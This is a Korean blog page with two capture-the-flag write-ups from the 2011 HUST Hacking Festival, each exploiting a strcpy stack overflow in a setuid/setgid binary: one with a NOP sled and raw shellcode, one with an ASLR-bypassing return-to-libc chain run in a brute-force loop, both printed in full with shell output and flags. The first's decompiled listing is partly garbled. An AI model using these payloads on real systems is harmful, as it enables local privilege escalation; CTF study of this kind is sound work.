'HUST2011'에 해당하는 글 2건

Category : Pwnables

NULL

Summary : simple buffer overflow

Server Info

[whatthe@k1rha ~]$ uname -a
Linux k1rha 2.6.35.14-96.fc14.i686 #1 SMP Thu Sep 1 12:49:38 UTC 2011 i686 i686 i386 GNU/Linux

서버의 환경은 fedora14 이지만 ASLR과 Exec-shield가 disable되어있다.
(/bin/cat을 실행할 수 없도록 해두어서 파일을 읽을때에 strings나 xxd명령으로 확인했다.)

[anomy@k1rha .pwn3r]$ xxd /proc/sys/kernel/randomize_va_space
0000000: 300a                                    0.
[anomy@k1rha .pwn3r]$ xxd /proc/sys/kernel/exec-shield
0000000: 300a                                    0.

홈디렉토리에는 ReadMe라는 파일만이 주어졌는데 , hust user의 권한을 획득하라는 내용이다.
hust user의 권한으로 돌아가는 daemon 및 setuid/gid가 걸린파일을 검색하자 /usr/ping이란 프로그램이 hust group에 setgid가 걸려있었다.

int main(int argc, char **argv)
{
  int result; //
eax@2
  char v3; // [sp+10h] [bp-400h]@12
  int v4; // [sp+3F8h] [bp-18h]@1
  signed int i; // [sp+3FCh] [bp-14h]@1

  i = 0;
  if ( argc > 1 )
  {
    for ( i = 0; i <= 999; ++i )
    {
      if(i%87 == 0) argv[1][i] += 1
      if(i%7 == 0) argv[1][i] += 2
      if(i%20 == 0) argv[1][i] += 3
    }
    setgid(500);
    strcpy(buffer, argv[1]); // Vuln!!
    result = puts(buffer);
  }
  else
  {
    result = puts("Usage : ./[file] [argv]");
  }
  retult = puts("Usage : ./[file] [argv]");
  }
  return result;
}


argc가 2이상이면 단순히 strcpy함수로 argv[1]을 지역변수에 덮어주기때문에 overflow취약점이 발생한다.
ASLR과 Exec-Shield가 disable되어있기때문에 단순히 많은 쉘코드를 stack에 올려주고 리턴어드레스를 쉘코드쪽으로 돌려주면 hust group의 권한을 획득할 수 있다.

권한유지를 위해 setregid를 호출하는 쉘코드도 넣어주어야한다.
웹상에 돌아다니는게 없어서 hkpco님의 universal shellcode를 조금 수정하였다.
(http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt)

[pwn3r@localhost sys]$ cat gid.s
.global main

main:

xor %eax, %eax
movb $0x32, %al
int $0x80

mov %eax, %ebx
mov %eax, %ecx
xor %eax, %eax
movb $0x47, %al
int $0x80
[pwn3r@localhost sys]$ gcc -o gid gid.s
[pwn3r@localhost sys]$ objdump -d gid
..................................................................
08048394 <main>:
 8048394: 31 c0                 xor    %eax,%eax
 8048396: b0 32                 mov    $0x32,%al
 8048398: cd 80                 int    $0x80
 804839a: 89 c3                 mov    %eax,%ebx
 804839c: 89 c1                 mov    %eax,%ecx
 804839e: 31 c0                 xor    %eax,%eax
 80483a0: b0 47                 mov    $0x47,%al
  80483a2: cd 80                 int    $0x80
...................................................................

=> "\x31\xc0\xb0\x32\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x47\xcd\x80"



argv[1]의 데이터를 변경하기때문에 argv[2]에 많은 nop와 쉘코드를 넣어주고 , 스택의 아무지점이나 찍어서 리턴어드레스를 변경해주면 많은 nop덕분에 간단히 hust group의 쉘을 얻을 수 있다.

[anomy@k1rha .pwn3r]$ /usr/ping `python -c 'print "\x90"*1036 + "\xfc\xf5\xff\xbf"'` `python -c 'print "\x90"*600+"\x31\xc0\xb0\x32\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x47\xcd\x80"+"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3" '`
 
sh-4.1$ id
uid=501(anomy) gid=500(hust) groups=501(anomy) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.1$ cd /home/hust
sh-4.1$ strings keyvlauetxtasweme
itisnotkey

Flag : itisnotkey

'CTF' 카테고리의 다른 글

ISEC 2010 본선 CTF - skeleton  (0) 2011.10.13
HDCON 2011 본선 CTF - lucky  (4) 2011.10.13
2011 HUST Hacking Festival - M  (0) 2011.10.03
2011 HUST Hacking Festival - K  (0) 2011.10.03
CSAW CTF Quals 2011 - bin3  (0) 2011.09.27
CSAW CTF Quals 2011 - bin1  (0) 2011.09.27

WRITTEN BY
pwn3r
45

트랙백  2 , 댓글  0개가 달렸습니다.
secret
Category : Pwnables

NULL

Summary : buffer overflow , bypassing ASLR with the most repeated address

Server Info

[whatthe@k1rha .pwn3r]$ uname -a
Linux k1rha 2.6.35.14-96.fc14.i686 #1 SMP Thu Sep 1 12:49:38 UTC 2011 i686 i686 i386 GNU/Linux

서버환경은 fedora 14이고 ASLR과 Exec-Shield가 enable되어있다.

[anomy@k1rha .pwn3r]$ cat /proc/sys/kernel/randomize_va_space
1
[anomy@k1rha .pwn3r]$ cat /proc/sys/kernel/exec-shield
1


홈디렉토리에 주어진 file은 gotroot user의 setuid가 걸린 파일 ping2와 ping2.c이다.

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

extern char **environ;
int main(int argc,char* argv[]){

 
 char buff[100];


 if(argc<2){
  printf("Usage : ./[file] [argv]\n");
 }
 else{
  strcpy(buff,argv[1]);  // Vuln!!
  printf("%s\n",buff);
  system("ls"); 
 }
}


ping이라는 파일명과는 전혀 무관한 동작을 한다.
argc가 2이상이라면 strcpy를 호출해서 argv[1]을 지역변수에 복사하기때문에 overflow취약점이 발생한다.

코드는 매우 간결하지만 , ASLR과 Exec-shield가 걸려있기때문에 공격에 약간의 어려움이 있다.
효율성을 위해 , ASLR이 걸려있어도 출현빈도가 높은주소가 있다는 점을 이용할 수 있다. 
(해커스쿨 멍멍님의 codegate vuln300풀이 참고 : http://www.hackerschool.org/Sub_Html/HS_University/CTF/Codegate/2011/vuln300/vuln300.html)
ldd를 이용해 출현빈도를 확인해본다.


.........................................
.........................................
      1 /lib/ld-linux.so.2 (0x00fdc000)
      2 /lib/ld-linux.so.2 (0x00fdd000)
      2 /lib/ld-linux.so.2 (0x00fde000)
      7 /lib/ld-linux.so.2 (0x00fdf000)
      1 /lib/ld-linux.so.2 (0x00fe0000)
      1 /lib/ld-linux.so.2 (0x00fe1000)
      1 /lib/ld-linux.so.2 (0x00fe2000)
      2 /lib/ld-linux.so.2 (0x00fe3000)
  1093 libc.so.6 => /lib/libc.so.6 (0x00110000)
      2 libc.so.6 => /lib/libc.so.6 (0x00111000)
      1 libc.so.6 => /lib/libc.so.6 (0x00112000)
      5 libc.so.6 => /lib/libc.so.6 (0x00113000)
      4 libc.so.6 => /lib/libc.so.6 (0x00114000)
      3 libc.so.6 => /lib/libc.so.6 (0x00115000)
      2 libc.so.6 => /lib/libc.so.6 (0x00116000)
      2 libc.so.6 => /lib/libc.so.6 (0x00117000)
      1 libc.so.6 => /lib/libc.so.6 (0x00118000)
.........................................
.........................................

0x00110000의 빈도가 특출나게높다. (상당히 오래 돌렸기때문)
따라서 RTL공격으로 한번에 성공은 못하더라도 높은 확률로 공격에 성공할 수 있다.

그런데 리턴어드레스에 실행계열함수의 주소를 넣어주더라도 ascii armor때문에 인자를 이어서 넣어줄수가없다.

  0x00149d85 <do_system+1125>: mov    %eax,(%esp)
  0x00149d88 <do_system+1128>: call  0x1ac370 <execve>

하지만 exec계열 함수나 do_system함수에 존재하는 위의 코드를 이용할 수 있다.

위 코드는 do_system@libc내부에 있는코드인데 %eax에 있는값을 execve함수의 첫번째 인자로 사용하여 호출한다.
그런데 strcpy함수의 리턴값이 덮여진 메모리의 주소이기 때문에 strcpy@plt 로 원하는 문자열을 writable한 공간에 복사해주고 코드로 리턴시키면 strcpy가 덮어준 공간에 있는 문자열이 execve함수의 첫번째 인자로써 사용된다.

[whatthe@k1rha .pwn3r]$ objdump -d /lib/libc.so.6 | grep do_system
00039920 <do_system>:
.........................................
......................................... 

[whatthe@k1rha ~]$ readelf -S ping2| grep .bss
  [25] .bss              NOBITS          08049704 000704 000008 00  WA  0  0  4 // writable space

[whatthe@k1rha .pwn3r]$ objdump -d ~/ping2|grep ret
 8048303: c3                  ret // for lifting stack

(gdb) x/3i 0x080484d7
  0x80484d7 <__libc_csu_init+87>: pop    %edi // pop - pop - ret for call chaining
  0x80484d8 <__libc_csu_init+88>: pop    %ebp
  0x80484d9 <__libc_csu_init+89>: ret 

(qdb) x/s 0x8048154 
  0x8048154:  "GNU" // argument for strcpy (it will finally be used to execve("GNU",NULL,NULL);)

/lib/libc.so.6에서 do_system의 주소는 0x39920이므로 base address를 출현빈도가 가장높은 0x00110000으로 잡았을때 , do_system + 1125 주소는 0x1ac7bd이다.
execve함수의 첫번째를 제외한 이중포인터가 아니면 제대로 실행되지 않으므로 NULL로 맞춰주기위해 ret 명령이 있는주소를 잔뜩 넣어준다.


[whatthe@k1rha .pwn3r]$ cat sh.py
#!/usr/bin/python

import os

os.setreuid(os.geteuid(),os.geteuid())
os.execv("/bin/sh",["sh"])

[whatthe@k1rha .pwn3r]$ ln -s sh.py GNU
[whatthe@k1rha .pwn3r]$ while [ 1 ] ; do ~/ping2 `python -c 'print "a"*112+"\x03\x83\x04\x08"*150+"\x44\x83\x04\x08"+"\xd7\x84\x04\x08"+"\x14\x97\x04\x08"+"\x54\x81\x04\x08"+"\xbd\xc7\x1a"'` ; done

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒƒDƒׄ—T½Ś
GNU  rest.txt  sh.py  shell.c
sh-4.1$ id
uid=503(gotroot) gid=502(whatthe) groups=503(gotroot),502(whatthe) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.1$ cd /home/gotroot
sh-4.1$ ls
keyvalueresult
sh-4.1$ cat keyvalueresult
wantedGirlfriend


Flag : wantedGirlfriend


'CTF' 카테고리의 다른 글

HDCON 2011 본선 CTF - lucky  (4) 2011.10.13
2011 HUST Hacking Festival - M  (0) 2011.10.03
2011 HUST Hacking Festival - K  (0) 2011.10.03
CSAW CTF Quals 2011 - bin3  (0) 2011.09.27
CSAW CTF Quals 2011 - bin1  (0) 2011.09.27
Defcon 19th CTF Quals - Retro Revisted 200  (0) 2011.09.25

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret